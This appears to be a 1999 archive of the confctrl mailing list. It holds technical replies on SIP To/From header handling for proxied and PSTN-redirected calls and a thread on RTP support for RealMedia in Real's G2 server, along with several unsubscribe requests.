Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA18802
	for <confctrl@isi.edu>; Fri, 9 Jul 1999 07:04:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Jul  9 10:03:24 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA22022;
	Fri, 9 Jul 1999 10:03:25 -0400 (EDT)
Message-ID: <37860128.DF70A90D@dnrc.bell-labs.com>
Date: Fri, 09 Jul 1999 10:03:20 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Sudipto Mukherjee <sudiptom@cisco.com>
CC: shbhatna@cisco.com, dpetrie@pingtel.com, confctrl@ISI.EDU
Subject: Re: To header for a proxied call
References: <199907091342.JAA16216@bounty.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Sudipto Mukherjee wrote:
> 
> The problem with this scenario is that the Originating Gateway makes an
> assumption that the called party's (9195551212) SIP address is same as
> that of the Proxy server (1.2.3.4). This results in an incorrect
> To header (To: sip:9195551212@1.2.3.4).
> 
> So in the scenario where the called party hangs up, the from header in
> the BYE would look this - From:sip:9195551212@1.2.3.4.
> 
> The question is how should the proxy deal with this BYE as it has a wrong
> >From header. Does the proxy need to look at the From field to process the
> message ?

It needs the To, From, Call-ID and CSeq to serve as a unique key to the
transaction state. For this function, the From field could be an
arbitrary random number and it would make no difference. Call routing is
done based on the request URI. So, From field has no impact on this. A
server is free, of course, do perform any other policy decisions based
on the fields in the headers as it sees fit. Nothing would prevent a
proxy from rejecting calls based on the From field (as a screening
service, for example). 

So, putting this "wrong From header" is fine; its not wrong at all.
Probably it would be even better to put a tel URL in the From field, but
it won't make any real difference on processing or routing.

The only impact it has is on configuration of the proxy; as its working
as a local proxy for gateways which insert the proxy address in this
fashion, it should be prepared to receive INVITE's with addresses in
this form.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jul  9 08:51:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA06679
	for confctrl-outgoing; Fri, 9 Jul 1999 08:51:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA06674
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 08:51:52 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26088
	for <confctrl@ISI.EDU>; Fri, 9 Jul 1999 08:51:51 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA03690;
	Fri, 9 Jul 1999 10:51:19 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA11643;
	Fri, 9 Jul 1999 10:51:21 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA16471; Fri, 9 Jul 1999 10:51:15 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA25097;
	Fri, 9 Jul 1999 10:51:27 -0500 (CDT)
Message-Id: <199907091551.KAA25097@b04a24.exu.ericsson.se>
Subject: Re: To header for a proxied call
To: Jorgen.K.Bjorkner@telia.se (=?ISO-8859-1?Q?J=F6rgen_Bj=F6rkner?=)
Date: Fri, 9 Jul 1999 10:51:27 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <778DFE9B4E3BD111A74E08002BA3DC0D01407A9A@trab-hermes.haninge.trab.se> from "=?ISO-8859-1?Q?J=F6rgen_Bj=F6rkner?=" at Jul 9, 99 11:13:17 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>A (5125551212) dials B (7771212121) which is redirected to C (9195551212) in
>the PSTN network.
>All three numbers will be presented to the PSTN/SIP gateway, the question is
>how to carry all of them
>within the SIP header? From a user point of view it might make most sense to
>put tel:5125551212 (A) in the
>From: field and tel:9195551212 (C) in the To:field. Assuming that the
>routing intelligence is in a
>proxy (P) the gateway (G) forwards all incoming calls to P. In traditional
>PSTN world (at least in Sweden,
>and I don't say that it has to be like this forever) B is responsible for
>the redirected part of the call
>(charged for it), and therefore it makes sense that B's routing preferences
>are used by P, and therefore
>B's number has to be in the message arriving to P.

It seems to me that the obvious way to code this would be:

INVITE tel:9195551212 SIP/2.0
From: tel:5125551212
To: tel:7771212121

The role of the "To:" field in SIP has always been somewhat akin
to the role of the B number in PSTN. It's what I call to get
ahold of a party, not (necessarily) their physical device.

There is an additional level of complexity here, though. Beyond the
A, B, and C numbers you describe, there's a redirecting number field
in ISUP which is used for the purpose of billing responsibility.
It carries the number most recently responsible for redirecting
the call (but not *all* the numbers that have redirected along the
way). I'll put together a fairly complicated example to show my point.

Let's say my number is 214-555-0000. I am calling a friend at
972-555-1234. He has his phone forwarded to a "find me" service
at 500-234-2345. The "find-me" service determines that he should
be in his Houston office at 713-444-9876. Finally, he has forwarded 
his Houston office phone to his IP phone at 212-765-4321 (which 
terminates on an IP gateway).

By the time this message arrives, it will have an A number of
214-555-0000, a B number of 972-555-1234, a redirecting number
of 713-444-9876, and a C number of 212-765-4321. The 500 number
does not appear in the ISUP message, having been overwritten
by the 713 number. In this scenario, the 713 number is used for
billing purposes, not the 972 number or the 214 number.

So, you're not really as interested in the B number (for billing
purposes at least) as you are in the redirecting number. The B
number could, however, be useful in determining, for example, whose
voice-mailbox to access.

I believe the question, then, is "how do we make the *redirecting*
number availble to SIP nodes?" I don't think a Via header would
be appropriate; any handling of this special-purpose Via header
would have to be at a node which understands your proposed extension.
Under these circumstances, the implications for adding a new header
are no different than encoding the redirecting number as a Via, and
a new header is much less confusing.

This is, of course, assuming that transit of the redirecting number
in a format understood by SIP nodes is even useful. I haven't thought
about it at length.

>Logically is the PSTN redirection equal to a SIP Proxy, which inserts itself
>as a Via:field

Not really. I'd contend that it's more like a redirect server, which
(currently) leaves no trace in SIP.

/a

From confctrl-owner  Fri Jul  9 08:56:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA06889
	for confctrl-outgoing; Fri, 9 Jul 1999 08:56:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA06884
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 08:56:07 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA26411
	for <confctrl@isi.edu>; Fri, 9 Jul 1999 08:56:04 -0700 (PDT)
Received: from chair.dnrc.bell-labs.com ([135.180.161.201]) by dirty; Fri Jul  9 11:55:38 EDT 1999
Received: from localhost by chair.dnrc.bell-labs.com (8.9.3/8.9.3) with SMTP id LAA13109;
	Fri, 9 Jul 1999 11:55:38 -0400 (EDT)
Date: Fri, 9 Jul 1999 11:55:38 -0400 (EDT)
From: Ethendranath Bommaiah <ethen@dnrc.bell-labs.com>
X-Sender: ethen@chair
To: rem-conf@es.net, confctrl@ISI.EDU
cc: Sanjoy Paul <sanjoy@dnrc.bell-labs.com>
Subject: RTP support for Real Media ?
Message-ID: <Pine.GSO.3.96.990709114543.12022B-100000@chair>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,

I was wondering if Real G2 server supports RTP for real media (.rm and
.ra) ? We have noticed that it does support RTP for other media like
.au and .mpeg. However, with .rm and .ra the server returns "Protocol
not supported" error for the SETUP message with transport set to
RTP/AVP/TCP. We are using Real G2 server 6.0.

Does Real plan to support RTP for .rm and .ra media in the future ?
Or, is there a newer version that supports RTP already ?

Any pointers will be greatly appreciated.

Thanks,
Ethen


From confctrl-owner  Fri Jul  9 09:19:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA08250
	for confctrl-outgoing; Fri, 9 Jul 1999 09:19:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08245
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 09:19:38 -0700 (PDT)
Received: from mail.rdc1.nj.home.com (imail@ha1.rdc1.nj.home.com [24.3.128.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28212
	for <confctrl@isi.edu>; Fri, 9 Jul 1999 09:19:37 -0700 (PDT)
Received: from streamcenter.com ([24.6.232.137]) by mail.rdc1.nj.home.com
          (InterMail v4.01.01.00 201-229-111) with ESMTP
          id <19990709161935.GGPQ6625.mail.rdc1.nj.home.com@streamcenter.com>;
          Fri, 9 Jul 1999 09:19:35 -0700
Message-ID: <3786203E.3EAA0461@streamcenter.com>
Date: Fri, 09 Jul 1999 12:15:58 -0400
From: ravi narayan <ravi@streamcenter.com>
Organization: streamCENTER Inc
X-Mailer: Mozilla 4.61 [en]C-AtHome0405  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Ethendranath Bommaiah <ethen@dnrc.bell-labs.com>
CC: rem-conf@es.net, confctrl@ISI.EDU, Sanjoy Paul <sanjoy@dnrc.bell-labs.com>
Subject: Re: RTP support for Real Media ?
References: <Pine.GSO.3.96.990709114543.12022B-100000@chair>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ethendranath Bommaiah wrote:
> 
> I was wondering if Real G2 server supports RTP for real media (.rm and
> .ra) ? We have noticed that it does support RTP for other media like
> .au and .mpeg. However, with .rm and .ra the server returns "Protocol
> not supported" error for the SETUP message with transport set to
> RTP/AVP/TCP. We are using Real G2 server 6.0.
> 
> Does Real plan to support RTP for .rm and .ra media in the future ?
> Or, is there a newer version that supports RTP already ?
> 

from what i have seen, and heard from real, the answer to your question
is "no". real does not support RTP for realmedia files. from talking to
them, i get the feeling that they do not plan to support realmedia over
RTP. the reason they cite is that RDT (their own data transport protocol
now referred to as RDP i think) is tuned for the special needs of
realmedia files.

	--ravi

From confctrl-owner  Fri Jul  9 12:25:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA15627
	for confctrl-outgoing; Fri, 9 Jul 1999 12:25:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15620
	for <confctrl@zephyr.isi.edu>; Fri, 9 Jul 1999 12:25:24 -0700 (PDT)
Received: from hercules.cs.ucsb.edu (hercules.cs.ucsb.edu [128.111.41.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15993
	for <confctrl@ISI.EDU>; Fri, 9 Jul 1999 12:25:24 -0700 (PDT)
Received: from jackson.cs.ucsb.edu (jackson [128.111.52.10])
	by hercules.cs.ucsb.edu (8.8.6/8.8.6) with ESMTP id MAA05440;
	Fri, 9 Jul 1999 12:25:17 -0700 (PDT)
Received: by jackson.cs.ucsb.edu (8.9.1b+Sun/SMI-SVR4)
	id MAA06226 for ; Fri, 9 Jul 1999 12:25:16 -0700 (PDT)
Date: Fri, 9 Jul 1999 12:25:16 -0700 (PDT)
From: almeroth@cs.ucsb.edu (Kevin C. Almeroth)
Message-Id: <199907091925.MAA06226@jackson.cs.ucsb.edu>
To: ethen@dnrc.bell-labs.com, ravi@streamcenter.com
Subject: Re: RTP support for Real Media ?
Cc: confctrl@ISI.EDU, rem-conf@es.net, sanjoy@dnrc.bell-labs.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


From confctrl-owner  Sat Jul 10 00:22:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA15378
	for confctrl-outgoing; Sat, 10 Jul 1999 00:22:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA15373
	for <confctrl@zephyr.isi.edu>; Sat, 10 Jul 1999 00:22:20 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA07426
	for <confctrl@isi.edu>; Sat, 10 Jul 1999 00:22:16 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id OAA20102
	for <confctrl@isi.edu>; Sat, 10 Jul 1999 14:03:44 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567AA.00289834 ; Sat, 10 Jul 1999 12:53:24 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567AA.00286D3D.00@sampark.hss.hns.com>
Date: Sat, 10 Jul 1999 12:53:22 +0530
Subject: Is there a SIP MIB in the offing ?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
Is there any work going on to define a SIP MiB for uniform management ?
If there is, would be great if any of you could point me to some location
for any existing draft in whatever stage.
Thx
Regds
Arjun



From confctrl-owner  Tue Jul 13 11:55:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA13156
	for confctrl-outgoing; Tue, 13 Jul 1999 11:55:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA13151
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jul 1999 11:55:15 -0700 (PDT)
Received: from fsa.enel.ucalgary.ca (root@fsa.enel.ucalgary.ca [136.159.102.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04186
	for <confctrl@isi.edu>; Tue, 13 Jul 1999 11:55:14 -0700 (PDT)
Received: from lela (lela [136.159.102.29])
	by fsa.enel.ucalgary.ca (8.8.8/8.8.8) with SMTP id MAA11218
	for <confctrl@isi.edu>; Tue, 13 Jul 1999 12:55:13 -0600 (MDT)
From: "Dr. Armin Eberlein" <eberlein@enel.ucalgary.ca>
Reply-To: <eberlein@enel.ucalgary.ca>
To: <confctrl@ISI.EDU>
Subject: remove A.Eberlein@swansea.ac.uk
Date: Tue, 13 Jul 1999 13:01:38 -0600
Message-ID: <D1A6CBF3459FD1119E1A006008301E911013C1@romulus.sern.enel.ucalgary.ca>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <D1A6CBF3459FD1119E1A006008301E9111A986@romulus.sern.enel.ucalgary.ca>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Disposition-Notification-To: "Dr. Armin Eberlein" <eberlein@enel.ucalgary.ca>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

remove A.Eberlein@swansea.ac.uk


From confctrl-owner  Tue Jul 13 12:20:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA14097
	for confctrl-outgoing; Tue, 13 Jul 1999 12:20:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA14092
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jul 1999 12:20:38 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA07428
	for <confctrl@isi.edu>; Tue, 13 Jul 1999 12:20:36 -0700 (PDT)
Received: from robla ([172.23.100.75])
	by prognet.com (8.9.2/8.9.0) with SMTP id MAA30412;
	Tue, 13 Jul 1999 12:20:28 -0700 (PDT)
Message-Id: <4.1.19990712105142.034bb1c0@mail.real.com>
Message-Id: <4.1.19990712105142.034bb1c0@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 12 Jul 1999 11:37:37 -0700
To: ravi narayan <ravi@streamcenter.com>,
        Ethendranath Bommaiah <ethen@dnrc.bell-labs.com>
From: Rob Lanphier <robla@real.com>
Subject: Re: RTP support for Real Media ?
Cc: rem-conf@es.net, confctrl@ISI.EDU, Sanjoy Paul <sanjoy@dnrc.bell-labs.com>
In-Reply-To: <3786203E.3EAA0461@streamcenter.com>
References: <Pine.GSO.3.96.990709114543.12022B-100000@chair>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 09:15 AM 7/9/99 , ravi narayan wrote:
>Ethendranath Bommaiah wrote:
>> 
>> I was wondering if Real G2 server supports RTP for real media (.rm and
>> .ra) ? We have noticed that it does support RTP for other media like
>> .au and .mpeg. However, with .rm and .ra the server returns "Protocol
>> not supported" error for the SETUP message with transport set to
>> RTP/AVP/TCP. We are using Real G2 server 6.0.
>> 
>> Does Real plan to support RTP for .rm and .ra media in the future ?
>> Or, is there a newer version that supports RTP already ?
>> 
>
>from what i have seen, and heard from real, the answer to your question
>is "no". real does not support RTP for realmedia files. from talking to
>them, i get the feeling that they do not plan to support realmedia over
>RTP. the reason they cite is that RDT (their own data transport protocol
>now referred to as RDP i think) is tuned for the special needs of
>realmedia files.

That's correct.  We had floated a proposal for an optimized packet format
as part of the original RTSP proposal back in 1996, but the group decided
(rightly) that it didn't belong in the RTSP spec, and should be a separate
proposal.  Given the arguments that were floating around at that time about
the relative merits of compressing RTP headers independently from the
IP/UDP layer, we decided to drop this proposal.

So, this indicates that perhaps we should dust off this proposal (and
update with what we are currently doing).  If this is the consensus, we'll
be glad to follow up with this.

Thoughts?
Rob


From confctrl-owner  Tue Jul 13 13:52:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA17710
	for confctrl-outgoing; Tue, 13 Jul 1999 13:52:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA17705
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jul 1999 13:52:02 -0700 (PDT)
Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA14721
	for <confctrl@ISI.EDU>; Tue, 13 Jul 1999 13:52:01 -0700 (PDT)
Received: from southrelay01.raleigh.ibm.com (southrelay01.raleigh.ibm.com [9.37.3.208])
	by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA527166
	for <confctrl@ISI.EDU>; Tue, 13 Jul 1999 16:51:47 -0400
Received: from austin.ibm.com (nucleus.austin.ibm.com [9.53.154.119])
	by southrelay01.raleigh.ibm.com (8.8.8m2/NCO v2.03) with ESMTP id QAA75662;
	Tue, 13 Jul 1999 16:27:40 -0400
Message-ID: <378BA135.48878EBF@austin.ibm.com>
Date: Tue, 13 Jul 1999 15:27:33 -0500
From: Partha Narayanan <nps@austin.ibm.com>
X-Mailer: Mozilla 4.06 [en] (X11; I; AIX 4.3)
MIME-Version: 1.0
To: confctrl@ISI.EDU, nps@austin.ibm.com
Subject: remove nps@austin.ibm.com
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

remove nps@austin.ibm.com

--
Partha Narayanan




From confctrl-owner  Tue Jul 13 14:31:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA19576
	for confctrl-outgoing; Tue, 13 Jul 1999 14:31:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19571
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jul 1999 14:31:03 -0700 (PDT)
Received: from california.sandia.gov (california.sandia.gov [146.246.250.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18675
	for <confctrl@ISI.EDU>; Tue, 13 Jul 1999 14:31:02 -0700 (PDT)
Received: (from smap@localhost) by california.sandia.gov (8.8.8/1.15) id OAA10580 for <@ca.sandia.gov:confctrl@ISI.EDU>; Tue, 13 Jul 1999 14:31:02 -0700 (PDT)
Received: from dufus.ca.sandia.gov(146.246.238.124) by ca.sandia.gov via smap (V1.3)
	id sma009418; Tue Jul 13 14:30:58 1999
Received: (from jafries@localhost) by dufus (950413.SGI.8.6.12/950213.SGI.AUTOCF) id OAA01287 for confctrl@ISI.EDU; Tue, 13 Jul 1999 14:29:12 -0700
Date: Tue, 13 Jul 1999 14:29:12 -0700
From: jafries@california.sandia.gov (Jerry Friesen)
Message-Id: <199907132129.OAA01287@dufus>
To: confctrl@ISI.EDU
Subject: remove jafries@ca.sandia.gov
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

remove jafries@ca.sandia.gov

Jerry Friesen
====================================================================
Jerry Friesen				jafries@ca.sandia.gov
Distributed Visualization Systems, 8920	voice: (925) 294-3144
Sandia National Labs, Livermore 	FAX:   (925) 294-1230

From confctrl-owner  Tue Jul 13 17:36:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA26206
	for confctrl-outgoing; Tue, 13 Jul 1999 17:36:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA26201
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jul 1999 17:36:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA07501
	for <confctrl@isi.edu>; Tue, 13 Jul 1999 17:36:05 -0700 (PDT)
Received: from chair.dnrc.bell-labs.com ([135.180.161.201]) by dirty; Tue Jul 13 20:35:11 EDT 1999
Received: from localhost by chair.dnrc.bell-labs.com (8.9.3/8.9.3) with SMTP id UAA17340;
	Tue, 13 Jul 1999 20:35:14 -0400 (EDT)
Date: Tue, 13 Jul 1999 20:35:14 -0400 (EDT)
From: Ethendranath Bommaiah <ethen@dnrc.bell-labs.com>
X-Sender: ethen@chair
To: Rob Lanphier <robla@real.com>
cc: ravi narayan <ravi@streamcenter.com>, rem-conf@es.net, confctrl@ISI.EDU,
        Sanjoy Paul <sanjoy@dnrc.bell-labs.com>
Subject: Re: RTP support for Real Media ?
In-Reply-To: <4.1.19990712105142.034bb1c0@mail.real.com>
Message-ID: <Pine.GSO.3.96.990713202230.17608C-100000@chair>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> That's correct.  We had floated a proposal for an optimized packet format
> as part of the original RTSP proposal back in 1996, but the group decided
> (rightly) that it didn't belong in the RTSP spec, and should be a separate
> proposal.  Given the arguments that were floating around at that time about
> the relative merits of compressing RTP headers independently from the
> IP/UDP layer, we decided to drop this proposal.
> 
> So, this indicates that perhaps we should dust off this proposal (and
> update with what we are currently doing).  If this is the consensus, we'll
> be glad to follow up with this.
> 
> Thoughts?
> Rob

Thanks for the response. I was wondering if you could also support
plain RTP along with the above mentioned compressed RTP header approach
(which I presume is proprietary). Also, would it be possible for you to
make your current approach public (in the form of a draft proposal,
perhaps) ?

Thanks,
Ethen


From confctrl-owner  Tue Jul 13 21:35:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA03479
	for confctrl-outgoing; Tue, 13 Jul 1999 21:35:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA03472
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jul 1999 21:35:11 -0700 (PDT)
Received: from annuminas.tusculum.edu (r00tnezz@tusculum.edu [206.228.254.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA17298;
	Tue, 13 Jul 1999 21:35:10 -0700 (PDT)
Received: from Debug (nobody@tusculum.edu [206.228.254.3])
	by annuminas.tusculum.edu (8.9.3/8.9.1) with SMTP id AAA23903;
	Wed, 14 Jul 1999 00:37:30 -0400
Message-Id: <199907140437.AAA23903@annuminas.tusculum.edu>
To: confctrl@ISI.EDU
Cc: owner-confctrl@ISI.EDU
From: Matt Bartholomew <mbarthol@tusculum.edu>
Subject: remove mbarthol@tusculum.edu
Date: Wed, 14 Jul 1999 04:37:31 GMT
X-Mailer: Endymion MailMan Professional Edition v3.0.8
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




remove
mbarthol@tusculum.edu


From confctrl-owner  Wed Jul 14 05:26:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA17847
	for confctrl-outgoing; Wed, 14 Jul 1999 05:26:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17837
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 05:26:31 -0700 (PDT)
Received: from bnl.gov (bnl.gov [130.199.128.163])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA01189
	for <confctrl@isi.edu>; Wed, 14 Jul 1999 05:26:30 -0700 (PDT)
Received: from bnl.gov (sunspot.ccd.bnl.gov [130.199.74.11])
	by bnl.gov (8.9.1/8.9.2) with ESMTP id IAA08986;
	Wed, 14 Jul 1999 08:26:29 -0400 (EDT)
Message-ID: <378C81F4.94AF3188@bnl.gov>
Date: Wed, 14 Jul 1999 08:26:29 -0400
From: Frank Lepera <flep@bnl.gov>
Organization: Brookhaven National Laboratory
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4m)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: (no subject)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

remove flep@bnl.gov

--
Frank Lepera                            flep@bnl.gov
Network Engineering Section, ITD
Brookhaven National Laboratory          [516]344-4183




From confctrl-owner  Wed Jul 14 15:50:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA10264
	for confctrl-outgoing; Wed, 14 Jul 1999 15:50:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10259
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 15:50:23 -0700 (PDT)
Received: from ercb_00_msg.pldt.com.ph (mailer.pldt.com.ph [203.172.15.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA03147
	for <confctrl@ISI.EDU>; Wed, 14 Jul 1999 15:50:17 -0700 (PDT)
Received: by ERCB_00_MSG with Internet Mail Service (5.5.2232.9)
	id <NM7DS8M9>; Thu, 15 Jul 1999 06:49:31 +0800
Message-ID: <13E5E2E6158ED011AC1B080009D70A7240B8A7@ESPC_02_MSG>
From: "ROSAL, Antonio S." <ASROSAL@pldt.com.ph>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: remove
Date: Thu, 15 Jul 1999 06:49:23 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



remove flep@bnl.gov

From confctrl-owner  Wed Jul 14 17:25:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA14039
